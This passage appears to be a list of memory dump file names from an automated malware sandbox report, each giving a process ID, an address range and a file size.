memory/3952-764-0x000000006DCF0000-0x000000006E047000-memory.dmpFilesize
3.3MB
-
memory/3952-725-0x0000000006D40000-0x0000000006D8C000-memory.dmpFilesize
304KB
-
memory/3952-807-0x0000000007E30000-0x0000000007E45000-memory.dmpFilesize
84KB
-
memory/3952-673-0x0000000005A60000-0x000000000608A000-memory.dmpFilesize
6.2MB
-
memory/3952-753-0x000000006E110000-0x000000006E15C000-memory.dmpFilesize
304KB
-
memory/3952-804-0x0000000007E20000-0x0000000007E2E000-memory.dmpFilesize
56KB
-
memory/3952-681-0x0000000005920000-0x0000000005942000-memory.dmpFilesize
136KB
-
memory/3952-724-0x00000000067C0000-0x00000000067DE000-memory.dmpFilesize
120KB
-
memory/3952-808-0x0000000007E80000-0x0000000007E9A000-memory.dmpFilesize
104KB
-
memory/3952-699-0x00000000063D0000-0x0000000006727000-memory.dmpFilesize
3.3MB
-
memory/3952-798-0x0000000007DD0000-0x0000000007DE1000-memory.dmpFilesize
68KB
-
memory/3952-682-0x0000000006100000-0x0000000006166000-memory.dmpFilesize
408KB
-
memory/3952-796-0x0000000007DB0000-0x0000000007DBA000-memory.dmpFilesize
40KB
-
memory/4300-503-0x0000000000400000-0x0000000000408000-memory.dmpFilesize
32KB
-
memory/4896-608-0x0000000000AC0000-0x0000000001010000-memory.dmpFilesize
5.3MB
-
memory/4896-612-0x0000000000AC0000-0x0000000001010000-memory.dmpFilesize
5.3MB
-
memory/4972-651-0x0000000140000000-0x0000000140A55000-memory.dmpFilesize
10.3MB
-
memory/4980-600-0x0000000000BA0000-0x0000000001057000-memory.dmpFilesize
4.7MB
-
memory/4980-610-0x0000000000BA0000-0x0000000001057000-memory.dmpFilesize
4.7MB
-
memory/5240-775-0x000000006DCF0000-0x000000006E047000-memory.dmpFilesize
3.3MB
-
memory/5240-773-0x000000006E110000-0x000000006E15C000-memory.dmpFilesize
304KB
-
memory/5580-723-0x0000000000BD0000-0x000000000123E000-memory.dmpFilesize
6.4MB
-
memory/5780-867-0x00000000006C0000-0x0000000000D2E000-memory.dmpFilesize
6.4MB
-
memory/5956-747-0x0000000006CE0000-0x0000000006CFA000-memory.dmpFilesize
104KB
-
memory/5956-746-0x00000000077C0000-0x0000000007856000-memory.dmpFilesize
600KB
-
memory/5956-748-0x0000000007720000-0x0000000007742000-memory.dmpFilesize
136KB